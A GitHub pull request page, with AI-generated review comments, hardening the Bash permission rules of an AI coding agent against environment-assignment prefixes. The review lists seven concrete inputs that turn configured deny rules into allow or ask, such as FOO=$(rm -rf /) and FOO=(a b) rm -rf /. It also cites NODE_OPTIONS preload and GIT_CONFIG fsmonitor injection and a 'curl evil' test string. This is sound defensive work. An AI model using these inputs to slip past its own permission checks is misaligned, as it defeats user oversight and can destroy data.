Convergence: round 6 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 3 (3 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in round 5; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：reverse audit — did not converge within the reverse-audit round cap of 5 (round 5 reported new findings)。
未审查：build-and-test (test phase) — packages/core full suite timed out at its 540s deadline on two attempts (infrastructure on this runner, not a diff defect); focused suites ran green separately at HEAD (permissions 443/443, env-prefix 29/29, dangerousRules+permission-manager 524, shellAstParser 25/25)。
收敛姿态下延后（第 6 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 6 轮发布了 1 条行内评论，其中 1 条是首次提出；上一轮发布了 3 条（其中 3 条首次提出）。发现反复回到同一批文件：packages/core/src/permissions/rule-parser.ts（第 5 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.3)
| export const ENV_ASSIGNMENT_REGEX = | ||
| /^[A-Za-z_][A-Za-z0-9_]*(?:\[[^\]\r\n]*\])?\+?=/; |
There was a problem hiding this comment.
[Critical] R5-1: (fix-induced) [certifies-falsely] [regression] The hand-rolled shell-word scanner / regex-builder pair this class of finding keeps returning to was wholly rewritten by the round-5 fix commits, and the rewrite produces seven NEW fail-open entrances of the same class: executable Bash text is misclassified as strippable assignment data and discarded from the restrictive (deny/ask) legacy identity, violating this diff's own documented invariants ("tightening allow-rule identity can never make deny/ask fail open"; "executable text cannot be mistaken for assignment data"). Round 5 filed this surface as unbounded (R5-1); this round confirms it — entrance-by-entrance patching has not converged across three consecutive fix rounds. The seven entrances, each probe/A-B/real-bash verified at this commit (illustrative config: deny Bash(*rm*) or Bash(rm -rf *), allow Bash(*)): (1) $(...)/backtick substitution in an assignment value — FOO=$(rm -rf /) resolves 'ask', and 'allow' with an allow Bash(*) (base: 'deny'). (2) Quoted/escaped assignment names — "FOO"=1 rm -rf /, F"OO"=1 rm -rf /, \FOO=1 rm -rf / resolve 'allow' (base: 'deny'); ENV_ASSIGNMENT_REGEX does not recognize quoted names, hasRelevantRules returns false and PM is skipped entirely. (3) Process substitution — FOO=<(rm -rf /) ls, FOO=>(rm -rf /) ls, FOO=2>(rm -rf /) ls resolve 'allow' (bash executes the inner command — marker-verified; the base fails identically, but this diff's own docblock forbids the direction). (4) Missing ANSI-C $'...' quote state — FOO=$'a\'b' rm -rf / resolves 'allow' (base: 'deny'): the escaped quote closes the region early and the whole command is swallowed as one assignment word. (5) Compound operator splitting a substitution — FOO=$(rm -rf /;echo x) ls and FOO=$(rm -rf /||echo x) ls resolve 'allow' (base: 'deny'): splitCompoundCommandSegments cuts inside the substitution and the unterminated fragment is stripped whole. (6) Array-assignment value — FOO=(a b) rm -rf / resolves 'allow' (bash executes the trailing command — marker-verified; base fails identically): a bare ( is an ordinary word character, so the word breaks mid-value at FOO=(a. (7) Subscript substitution — FOO[$(rm -rf /)]=x resolves 'allow' (base: 'deny'): the newly added subscript alternative strips a word whose subscript Bash executes at assignment time. Without an allow rule every case demotes a configured deny to 'ask'; in auto-approve modes the denied command executes.
Witness:
PR arm (da1a3058a, probes): 7/7 entrances -> allow/ask,
findMatchingDenyRule=undefined, hasMatchingAskRule=false
BASE arm (3a0c4c61, same probes): entrances 1,2,4,5,7 -> deny (9/9 green)
real bash 5.2: FOO=(a b) touch marker -> exit 0, marker created;
FOO[$(touch m)]=x -> marker created; >(rm ...) inner command ran
scratch-tree flips: candidate fixes restore deny for each
(553/553 pinned tests stay green)
Fix direction: stop enumerating entrances — close the surface structurally. On the restrictive path, classify leading words with a real parser (shell-quote tokenization or an equivalent authoritative source), or at minimum fail closed: do not strip an assignment word that contains an unquoted $(...), backtick, <(...)/>(...) substitution, an array value (= followed balanced parens), or a subscript containing a substitution, and do not strip a word whose scan ends inside an unclosed region — retain the executable text in the remainder, in a form shared by BOTH the rule-specifier and command sides. Additionally: make name detection quote/escape-aware on the restrictive path only, add an escape-aware $'...' state to the skippers, and reject a stripping-produced * specifier in the fallback guard.
Fix constraint: rule-parser.env-prefix.test.ts:215-222 pins deny Bash(NODE_OPTIONS=$(*) node) vs NODE_OPTIONS=$(curl evil) node -> 'deny', which relies on substitution-bearing assignment words still being stripped on BOTH sides — a blanket "never strip a word containing $(" turns it red, so retention must use a form both sides share; :145 pins matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls') === false; :47 pins matchesCommandPattern('npm', 'FOO=bar npm --version') === false; permission-manager.ts:76-77 — assignment-only restrictive rules deliberately have no stripped fallback, and the fix must not give them one.
Fix acceptance: one manager-level test per entrance, each red on revert of its fix — with deny Bash(*rm*)/Bash(rm -rf *) + allow Bash(*), evaluate of FOO=$(rm -rf /), "FOO"=1 rm -rf /, FOO=<(rm -rf /) ls, FOO=$'a\'b' rm -rf /, FOO=$(rm -rf /;echo x) ls, FOO=(a b) rm -rf /, and FOO[$(rm -rf /)]=x must each resolve to 'deny' (all resolve allow/ask today).
中文说明
持续产生此类发现的手写 shell 单词扫描器 / 正则构造器对已被 round-5 的修复提交整体重写，但重写后又产生了同一类的 7 个新的开放失败入口：Bash 实际会执行的可执行文本被误分类为可剥离的赋值数据，从限制性（deny/ask）遗留身份中丢弃，违反本 diff 自身文档承诺（"收紧 allow 身份永不让 deny/ask 开放失败"、"可执行文本不会被误当作赋值数据"）。R5-1 在 round 5 已将此表面定性为无界；本轮证实了这一点——逐入口修补在连续三个修复轮中均未收敛。7 个入口均已在本提交上经探针/A-B 基线/真实 bash 验证（示意配置：deny Bash(*rm*) 或 Bash(rm -rf *)，allow Bash(*)）：(1) 赋值值内 $(...)/反引号替换——FOO=$(rm -rf /) 解析 'ask'，配 Bash(*) allow 时 → 'allow'（base：'deny'）；(2) 引号/转义赋值名——"FOO"=1 rm -rf /、F"OO"=1 rm -rf /、\FOO=1 rm -rf / → 'allow'（base：'deny'），ENV_ASSIGNMENT_REGEX 不识别引号名称，hasRelevantRules 返回 false 导致 PM 被整体跳过；(3) 进程替换——FOO=<(rm -rf /) ls、FOO=>(rm -rf /) ls、FOO=2>(rm -rf /) ls → 'allow'（bash 确实执行内部命令，标记文件已验证；base 同样失败，但本 diff 的 docblock 承诺不允许该方向）；(4) 缺失 ANSI-C $'...' 引号状态——FOO=$'a\'b' rm -rf / → 'allow'（base：'deny'）：转义引号提前闭合区域，整个命令被吞为一个赋值单词；(5) 复合运算符拆断替换——FOO=$(rm -rf /;echo x) ls、FOO=$(rm -rf /||echo x) ls → 'allow'（base：'deny'）：splitCompoundCommandSegments 在替换内部拆分，未闭合片段被整体剥离；(6) 数组赋值值——FOO=(a b) rm -rf / → 'allow'（bash 确实执行尾随命令，标记文件已验证；base 同样失败）：裸 ( 被当作普通单词字符，单词在 FOO=(a 处中断；(7) 下标替换——FOO[$(rm -rf /)]=x → 'allow'（base：'deny'）：新增的下标分支把 bash 在赋值时即执行的下标替换整体剥离。无 allow 规则时上述情形均把已配置的 deny 降级为 'ask'；自动批准模式下被拒绝的命令直接执行。
修复方向：停止逐入口枚举——结构性闭合该表面。限制性路径的前导单词分类改用真实解析器（shell-quote 词法分析或等效权威来源），或至少失败保守：赋值单词包含未加引号的 $(...)、反引号、<(...)/>(...) 替换、数组值（= 后跟平衡括号）、含替换的下标，或单词扫描终止于未闭合区域时，不得剥离——把可执行文本保留在 remainder 中，且规则文本侧与命令侧共享同一保留形式。另外：仅在限制性路径让名称识别感知引号/转义；为 skipper 增加转义感知的 $'...' 状态；回退守卫拒绝剥离产生的 * specifier。
修复约束：rule-parser.env-prefix.test.ts:215-222 固化 deny Bash(NODE_OPTIONS=$(*) node) 对 NODE_OPTIONS=$(curl evil) node → 'deny'，依赖含替换赋值词在两侧都被剥离——"凡含 $( 即不剥离"会使其变红，保留形式必须两侧共享；:145 固化 matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls') === false；:47 固化 matchesCommandPattern('npm', 'FOO=bar npm --version') === false；permission-manager.ts:76-77——赋值-only 限制性规则刻意没有剥离回退，修复不得为其引入。
修复验收：每个入口一条管理器级测试，回退对应修复后必须变红——配置 deny Bash(*rm*)/Bash(rm -rf *) + allow Bash(*) 时，evaluate 对 FOO=$(rm -rf /)、"FOO"=1 rm -rf /、FOO=<(rm -rf /) ls、FOO=$'a\'b' rm -rf /、FOO=$(rm -rf /;echo x) ls、FOO=(a b) rm -rf /、FOO[$(rm -rf /)]=x 均必须解析为 'deny'（当前全部为 allow/ask）。
— qwen3.8-max via Qwen Code /review (v0.22.3)
4 participants
What this PR does
Makes leading environment assignments part of Bash permission identity for every command-specific Bash pattern (exact, prefix, and glob) instead of silently stripping them before matching.
NODE_OPTIONS=... npm --versionfrom inheritingBash(npm --version).GIT_CONFIG_* ... git status --shortfrom inheritingBash(git status --short).PYTHONPATH=/tmp/lib python3 ...from inheriting unprefixed prefix/glob rules.X=$(...) npm --version, so this broader fix also addresses security: Bash allow rules can be bypassed by command substitution hidden in leading environment assignments #10192 and supersedes the narrower substitution-only approach in fix(permissions): preserve substitution-bearing env prefixes #10204.Bash(*)allow-all behavior unchanged.Readallow cannot downgrade the conservativeaskdecision produced by an unmatched env-prefixed Bash command.Why it's needed
Issue #10197 contains runtime-verified examples showing that leading environment assignments can materially change execution before the nominal command processes its arguments:
NODE_OPTIONS=--require=... npm --versioncan execute a preload module, andGIT_CONFIG_*can inject executable Git configuration such ascore.fsmonitorinto an otherwise trustedgit statusinvocation.The previous normalization intentionally stripped leading assignments so commands like
PYTHONPATH=/tmp/lib python3 ...could inherit an unprefixed Bash allow rule. That compatibility behavior is already pinned by an existing unit test. This PR deliberately changes that security boundary rather than changing it as an accidental side effect: command-specific Bash rules now authorize exactly the environment-prefixed identity the user wrote. A user who wants to allow the prefixed form can write that prefixed form explicitly.The same rule closes #10192's substitution-bearing environment-prefix case as a strict subset of this policy.
Reviewer Test Plan
How to verify
NODE_OPTIONS=--require=/tmp/preload.cjs npm --versiondoes not matchBash(npm --version).GIT_CONFIG_*reproduction does not matchBash(git status --short).X=$(printf hidden) npm --versiondoes not matchBash(npm --version).Bash(*)catch-all continues to match env-prefixed commands.PermissionManager.evaluate(), verify that only allowingBash(npm --version)leaves theNODE_OPTIONS=... npm --versionform atask.Readallow for an env-prefixedcatinvocation cannot lower that Bash/ASTaskdecision back toallow; virtual shell-operation decisions are escalation-only.rule-parser.env-prefix.test.ts,permission-manager.test.ts,shell-semantics.test.ts, andshell-utils.test.ts.Evidence (Before & After)
Before: command normalization stripped leading assignments, so a command-specific rule such as
Bash(npm --version)could authorizeNODE_OPTIONS=--require=... npm --version. The existing suite also explicitly expected a glob such aspython3 *to matchPYTHONPATH=/tmp/lib python3 ....After: that compatibility expectation is intentionally inverted. Exact, prefix, and glob Bash patterns retain the full env-prefixed command identity, explicit prefixed rules still work,
Bash(*)remains a deliberate catch-all, and end-to-end PermissionManager coverage verifies the conservative result cannot be weakened through virtual shell-operation allows.Tested on
Environment (optional)
Node.js 22.23.2, npm 10.9.8, Vitest 3.2.7.
Risk & Scope
PYTHONPATH=/tmp/lib python3 ....Bash(*)remains unchanged because it is explicitly the global allow-all rule.askintoallow. A regression test pins that invariant.Linked Issues
Fixes #10197
Fixes #10192
Supersedes #10204.
中文说明
此 PR 做了什么
让前置环境变量赋值成为所有命令级 Bash 权限模式（精确、前缀、glob）的一部分，不再在匹配前静默移除。
NODE_OPTIONS=... npm --version不再继承Bash(npm --version)。GIT_CONFIG_* ... git status --short不再继承Bash(git status --short)。PYTHONPATH=/tmp/lib python3 ...等普通静态前缀也不会再继承不带前缀的 prefix/glob 规则。X=$(...) npm --version等包含命令替换的前缀同样被覆盖，因此本 PR 也解决 security: Bash allow rules can be bypassed by command substitution hidden in leading environment assignments #10192，并取代 fix(permissions): preserve substitution-bearing env prefixes #10204 中更窄的 substitution-only 方案。Bash(*)全局 allow 行为保持不变。Readallow 不能把 env-prefix 导致的保守ask再降级为allow。为什么需要它
#10197 包含经过运行时验证的例子：前置环境变量可以在名义命令处理参数之前改变真实执行行为。例如
NODE_OPTIONS=--require=... npm --version可以先执行 preload 模块，GIT_CONFIG_*可以把core.fsmonitor等可执行 Git 配置注入原本受信任的git status。旧的规范化逻辑有意移除前置赋值，使
PYTHONPATH=/tmp/lib python3 ...可以继承不带前缀的 Bash allow，而且现有单测明确固定了这个兼容行为。本 PR 是有意识地修改这条安全边界，而不是把它作为副作用翻转：命令级 Bash 规则现在只授权用户实际写出的环境身份。若用户确实想允许带前缀的形式，可以在规则中显式写出该前缀。#10192 的 substitution-bearing env-prefix 情况是这条更严格策略的子集，因此也一并解决。
Reviewer Test Plan
如何验证
NODE_OPTIONS=--require=/tmp/preload.cjs npm --version不匹配Bash(npm --version)。GIT_CONFIG_*复现不匹配Bash(git status --short)。X=$(printf hidden) npm --version不匹配Bash(npm --version)。Bash(*)仍作为有意的全局 catch-all 生效。PermissionManager.evaluate()验证：仅允许Bash(npm --version)时，NODE_OPTIONS=... npm --version结果为ask。Readallow，也不能把 env-prefix 命令的 Bash/ASTask降级成allow；虚拟 shell 操作只允许升级权限决定。rule-parser.env-prefix.test.ts、permission-manager.test.ts、shell-semantics.test.ts、shell-utils.test.ts的聚焦回归套件。Evidence (Before & After)
修改前：规范化会移除前置环境变量赋值，因此
Bash(npm --version)可能授权NODE_OPTIONS=--require=... npm --version。现有测试还明确要求python3 *匹配PYTHONPATH=/tmp/lib python3 ...。修改后：该兼容预期被有意识地翻转。精确、前缀和 glob Bash 模式都会保留完整 env-prefix 身份；显式带前缀的规则仍可使用；
Bash(*)仍是明确的全局 allow；端到端 PermissionManager 测试保证虚拟 shell 操作 allow 无法削弱保守决定。Tested on
Environment (optional)
Node.js 22.23.2、npm 10.9.8、Vitest 3.2.7。
Risk & Scope
PYTHONPATH=/tmp/lib python3 ...。Bash(*)保持不变，因为它本来就是明确的全局 allow。ask降成allow；新增回归测试固定这一不变量。Linked Issues
Fixes #10197
Fixes #10192
Supersedes #10204.